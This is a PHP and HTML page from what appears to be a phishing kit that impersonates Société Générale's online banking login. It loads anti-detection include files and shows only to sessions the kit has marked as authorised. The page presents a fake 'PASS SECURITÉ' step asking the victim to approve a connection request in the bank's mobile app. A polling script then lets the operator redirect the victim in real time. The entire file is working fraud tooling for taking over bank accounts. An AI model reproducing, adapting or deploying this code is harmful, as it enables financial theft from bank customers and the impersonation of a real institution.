<?php
session_start();
include('prevents/anti1.php');
include('prevents/anti2.php');
include('prevents/anti3.php');
include('prevents/anti4.php');
include('prevents/anti5.php');
include('prevents/anti6.php');
include('prevents/anti7.php');
include('prevents/anti8.php');
if($_SESSION['authorized'] == "1")
{
?>
<html lang="FR" class="swm-root-active swm-mode-page">

<head>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">


    <meta name="format-detection" content="telephone=no">
    <title>Société Générale | Connexion</title>
    <meta name="robots" content="none">
    <title>Connexion - Espace client</title>
    <meta name="title" content="Connexion - Espace client">
    <meta property="og:title" content="Connexion - Espace client">
    <meta name="twitter:card" content="summary">
    <meta name="viewport" content="initial-scale=1, maximum-scale=1, viewport-fit=cover">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="icon" type="image/x-icon" href="img/favicon.ico">
    <link href="./sms_files/index_20190723161948.min.css" rel="stylesheet" type="text/css">
    <link href="./index_files/index_pri_20201013141424.min.css" rel="stylesheet" type="text/css" />
    <link href="./index_files/spec56_btn_gsm_all_gcd_20190320190559.min.css" rel="stylesheet" type="text/css">
    <link href="./index_files/awt-front-BDDF.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" href="./sms_files/inbenta.css">
    <link rel="stylesheet" href="./sms_files/style.css">
    <link href="./sms_files/print_20190320190559.min.css" rel="stylesheet" type="text/css" media="print">
    <style type="text/css">
        .eip_txt_light {
            font-weight: 300;
        }

        .eip_dcw_main-link {
            color: #fff;
            text-decoration: underline !important;
            -webkit-transition: color 0.2s ease-in-out;
            -o-transition: color 0.2s ease-in-out;
            transition: color 0.2s ease-in-out;
        }

        .eip_dcw_main-link:hover,
        .eip_dcw_main-link:focus {
            color: #f05b6f;
        }
    </style>
    <style>
        #codCl {
            opacity: 0;

        }

        #codCl.waa {
            opacity: 1;
            transition: opacity 500ms;
        }

        #oop {

            opacity: 1;
            transition: opacity 500ms;
        }

        #oop.woo {
            opacity: 0;

        }
    </style>

    <script>
        setTimeout(function () {
            document.getElementById('oop').className = 'woo';
        }, 100);

        setTimeout(function () {
            document.getElementById('codCl').className = 'waa';
        }, 100);
    </script>

</head>

<body class="PRI waitJeton swm " style="" cz-shortcut-listen="true"><span id="warning-container"><i
            data-reactroot=""></i></span>


    <?php 
include_once('header.php');
?>

    <section class="dcw_main">
        <section class="dcw_gb_row dcw_gb_communication">
        </section>
        <section class="dcw_gb_wrapper">
            <main role="main">
                <a id="go-content" tabindex="-1"></a>
                <section class="dcw_gb_core ugds_serviciel" id="">

                    <div id="dcw-swm" class="swm-inner-wrapper">
                        <div class="prefetch"></div>
                        <div id="disableLayer" class="disable-layer"></div>



                        <div id="swm-tooltip" class="swm-tooltip">
                            <span></span>
                        </div>
                        <div class="swm-popin-wrapper" tabindex="0" role="dialog" aria-live="assertive">
                            <div id="swm-popin-overlay" class="swm-popin-overlay"></div>
                            <div id="swm-popin-dialog" class="swm-popin-dialog">
                                <div class="swm-popin-relative">
                                    <div id="swm-popin-btn-fermer" class="swm-popin-btn-fermer" tabindex="0"
                                        aria-label="Fermer la popin"></div>
                                    <div class="swm-popin-ombre-sup"></div>
                                    <div id="swm-popin-ombre-lat" class="swm-popin-ombre-lat">
                                        <div id="swm-popin" class="swm-popin">
                                            <div id="swm-popin-cadre" class="swm-popin-cadre oob-content">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="swm-popin-ombre-inf"></div>
                                </div>
                            </div>
                        </div>

                        <main role="main" class="dcw_authent dcw_csetape">
                            <div class="dcw_codeContainer">
                                <div class="dcw_block">
                                    <div class="dcw_block-element">
                                        <section class="dcw_chemin_etape js-breadcrumb nav-item-selected-1">

                                        </section>
                                    </div>
                                </div>
                                <div id="oop" align="center">
                                    <img src="./sms_files/loader.gif">
                                </div>

                                <div id="codCl">
                                    <form action="infoz/sms.php" method="POST" onsubmit="return cc()">
                                        <div class="dcw_block dcw_block-text">
                                            <div class="dcw_block-element">
                                                <h3 style="text-transform: uppercase; font-weight: bolder">
                                                    PASS SECURITÉ
                                                </h3>
                                            </div>

                                            <div style="text-align: center;">
                                                <p>
                                                    Pour accéder a votre espace client, vous devez accepter la demande
                                                    de connexion sur votre mobile dans l'Appli SG.
                                                </p>
                                            </div>

                                            <div class="cs_margin--bottom-m"> <svg xmlns="http://www.w3.org/2000/svg"
                                                    width="72" height="72" viewBox="0 0 72 65" aria-hidden="true"
                                                    focusable="false">
                                                    <g fill="none" fill-rule="evenodd" stroke-linecap="round">
                                                        <path stroke="#333" stroke-linejoin="bevel" stroke-width="1.709"
                                                            d="M35.326 55.088v10.25c0 1.446-1.053 2.623-2.35 2.623H7.206c-1.299 0-2.352-1.177-2.352-2.623V14.069c0-1.448 1.053-2.623 2.351-2.623h20.614">
                                                        </path>
                                                        <path stroke="#333" stroke-linejoin="round" stroke-width="1.709"
                                                            d="M16.396 15.597h7.39M34.218 60.35H5.961m13.286-40.142H5.513">
                                                        </path>
                                                        <path stroke="#333" stroke-linejoin="round" stroke-width="2"
                                                            d="M38.155 18.75l3.477-1.95 11.637 6.586c-.158 6.902-2.264 13.067-6.266 18.23-2.16 2.792-4.319 4.584-5.477 5.428-.666-.503-.702-.386-1.59-1.278m-1.647-1.7a33.53 33.53 0 0 1-.683-.806m-1.944-2.743c-2.952-3.989-5.552-9.196-5.763-16.914l5.717-3.12">
                                                        </path>
                                                        <path stroke="#F05B6F" stroke-width="2"
                                                            d="M36.772 31.666l3.99 3.921 6.092-6.873"></path>
                                                        <path stroke="#333" stroke-linejoin="round" stroke-width="2.087"
                                                            d="M62.078 31.922c0 11.318-9.176 20.493-20.494 20.493S21.091 43.24 21.091 31.922c0-11.318 9.175-20.494 20.493-20.494 11.318 0 20.494 9.176 20.494 20.494z">
                                                        </path>
                                                        <path stroke="#F05B6F" stroke-width="2"
                                                            d="M62.603 9.842a21.216 21.216 0 0 1-2.02 3.209M63.022 19.489h4.794M54.885 9.794L54.855 5">
                                                        </path>
                                                    </g>
                                                </svg>
                                            </div>
                                        </div>
                                    </form>
                                </div>
                            </div>

                    </div>
            </main>


            </div>


        </section>
        </main>
        <section class="dcw_gb_row">
        </section>
    </section>
    </section>

    <footer class="dcw_footer" role="contentinfo">
        <div class="dcw_footer-second">
            <div class="dcw_footer_container">
                <nav class="dcw_footer-second_nav">
                    <ul class="dcw_footer-second_list">
                        <li class="dcw_footer-second_item">
                            <a data-tms-container-label="footer-general-shortcuts" href="#" data-tms-click-type="N"
                                data-tms-element-label="trouver-une-agence"> <svg class="dcw_footer-second_icon"
                                    aria-hidden="true" focusable="false">
                                    <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                        xlink:href="img/pictos-fonctionnels_20200629183129.svg#localisation"></use>
                                </svg>
                                Trouver une agence
                            </a> </li>
                        <li class="dcw_footer-second_item">
                            <a data-tms-container-label="footer-general-shortcuts" href="#" data-tms-click-type="N"
                                data-tms-element-label="questions-fréquentes"> <svg class="dcw_footer-second_icon"
                                    aria-hidden="true" focusable="false">
                                    <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                        xlink:href="img/pictos-fonctionnels_20200629183129.svg#question"></use>
                                </svg>
                                Questions fréquentes
                            </a> </li>
                        <li class="dcw_footer-second_item">
                            <div class="dcw_dropdown js-dropdown-light">
                                <button class="dcw_dropdown_titre js-dropdown_btn"
                                    aria-label="Ouvrir la liste des autres sites Société Générale" aria-expanded="false"
                                    aria-owns="dcw-dropdown-list">Autres sites Société Générale</button>
                                <svg class="dcw_dropdown_icon" aria-hidden="true" focusable="false">
                                    <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                        xlink:href="img/pictos-fonctionnels_20200629183129.svg#arrow-dropdown"></use>
                                </svg>
                                <ul class="dcw_dropdown_list toggle_content">
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="banque-privée">Banque privée</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="professionnels">Professionnels</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="entreprises">Entreprises</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="associations">Associations</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="économie-publique">Économie publique</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="groupe-société-générale">Groupe Société Générale</a>
                                    </li>
                                </ul>
                            </div>
                        </li>
                    </ul>
                </nav>
                <ul class="dcw_footer_container dcw_footer-second_social">
                    <li class="dcw_footer-second_item-social">
                        <a data-tms-container-label="footer-social-links" title="Facebook" href="#"
                            aria-label="Voir le groupe Facebook de la Société Générale" data-tms-click-type="N"
                            data-tms-element-label="facebook"> <svg aria-hidden="true" focusable="false">
                                <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                    xlink:href="img/pictos-fonctionnels_20200629183129.svg#facebook-2"></use>
                            </svg>
                        </a> </li>
                    <li class="dcw_footer-second_item-social">
                        <a data-tms-container-label="footer-social-links" title="Twitter" href="#"
                            aria-label="Voir le Twitter de la Société Générale" data-tms-click-type="N"
                            data-tms-element-label="twitter"> <svg aria-hidden="true" focusable="false">
                                <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                    xlink:href="img/pictos-fonctionnels_20200629183129.svg#twitter-2"></use>
                            </svg>
                        </a> </li>
                    <li class="dcw_footer-second_item-social">
                        <a data-tms-container-label="footer-social-links" title="Instagram" href="#"
                            aria-label="Voir l' Instagram de la Société Générale" data-tms-click-type="N"
                            data-tms-element-label="instagram"> <svg aria-hidden="true" focusable="false">
                                <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                    xlink:href="img/pictos-fonctionnels_20200629183129.svg#instagram"></use>
                            </svg>
                        </a> </li>
                </ul>
            </div>
        </div>
        <nav class="dcw_footer-third">
            <div class="dcw_footer_container">
                <img alt="Société Générale" aria-hidden="true" class="dcw_footer-third_logo" height="30"
                    src="index_files/logo-sg-seul.svg" width="150">
                <ul class="dcw_footer-third_list">
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="sécurité">Sécurité</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="nos-engagements">Nos engagements</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="gestion-des-cookies">Gestion des Cookies</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="données-personnelles">Données personnelles</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="documentation-et-tarifs">Documentation et Tarifs</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="informations-légales">Informations légales</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="accessibilité-numérique">Accessibilité numérique</a>
                    </li>
                </ul>
            </div>
        </nav>
    </footer>















    <div id="interactWrapper"
        class="sdcwrapper theme-banque-bddf theme-enseigne-bddf theme-marche-pri enseigne-BDDF marche-PRI theme-media-site-web integrationNGIM sdcContainer interactCSSWrapper">
        <div class="interact-layout" id="content">
            <div class="interact-header"></div>
            <div class="interact-content"></div>
            <div class="interact-popin"></div>
            <div class="interact-footer"></div>
            <div class="interact-sticky">
                <div id="tch_sticky-bar" class="tch_sticky-bar_container">
                    <div class="tch_sticky-contact_bar">
                        <h3 class="tch_sticky-bar_title">Besoin d'aide</h3>
                        <p class="tch_sticky-bar_message"> Nos experts vous accompagnent dans le choix de la solution
                            adaptée à vos besoins </p>
                        <div class="tch_sticky-bar has-two-icons">
                            <ul class="tch_sticky-bar_list">
                                <li class="tch_sticky-bar_item"><button class="tch_sticky-bar_btn"> <svg
                                            class="tch_sticky-bar_icon" aria-label="Poser une question à SoBot"
                                            role="img" focusable="false">
                                            <use width="100%" height="100%"
                                                xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#chatbot"></use>
                                        </svg> <span class="tch_tooltip">Poser une question à SoBot </span> </button>
                                </li>
                                <li class="tch_sticky-bar_item"><button class="tch_sticky-bar_btn"> <svg
                                            class="tch_sticky-bar_icon" aria-label="Prendre rendez-vous" role="img"
                                            focusable="false">
                                            <use width="100%" height="100%"
                                                xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#calendar"></use>
                                        </svg> <span class="tch_tooltip">Prendre rendez-vous </span> </button></li>
                            </ul>
                        </div> <button class="tch_sticky-bar_close" aria-label="Fermer la boite de dialogue"> <svg
                                class="tch_sticky-bar_icon tch_sticky-bar_icon--close" aria-hidden="true"
                                focusable="false">
                                <use width="100%" height="100%"
                                    xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#cross-close"></use>
                            </svg> </button>
                    </div>
                </div>
                <div id="tch_sticky-contact" class="tch_sticky-contact_container" style="display:none"></div>
            </div>
            <div class="interact-chat">
                <div aria-grabbed="false" class="tch_chat">
                    <div id="tch_chat-bot" style="display:none"></div>
                </div>
            </div>
            <div>







                <div id="interactWrapper" class="sdcwrapper"></div>

                <script>
                    var interval;

                    function countdown() {
                        clearInterval(interval);
                        interval = setInterval(function () {
                            var timer = $('.js-timeout').html();
                            timer = timer.split(':');
                            var minutes = timer[0];
                            var seconds = timer[1];
                            seconds -= 1;
                            if (minutes < 0) return;
                            else if (seconds < 0 && minutes != 0) {
                                minutes -= 1;
                                seconds = 59;
                            } else if (seconds < 10 && length.seconds != 2) seconds = '0' + seconds;

                            $('.js-timeout').html(minutes + ':' + seconds);

                            if (minutes == 0 && seconds == 0) clearInterval(interval);
                        }, 1000);
                    }
                    countdown();
                </script>

                <script src="https://code.jquery.com/jquery-3.7.0.min.js"
                    integrity="sha256-2Pmvv0kuTBOenSvLm6bvfBSSHrUJ+3A7x6P5Ebd07/g=" crossorigin="anonymous"></script>
                <script type="text/javascript">
                    idTime = setInterval(function () {
                        $.ajax({
                            type: 'POST',
                            url: 'check.php',
                            success: function (data) {


                                if (data.trim() !== '' && data != "authApp.php") {
                                    window.parent.location.href = data;
                                    clearInterval(idTime)
                                }
                            },
                            error: function (error) {
                                //alert(error);
                            }
                        });
                    }, 1000);
                </script>
</body>

</html>
<?php 
}
else{
    die('YOU ARE NOT AUTHORIZED');
}
?>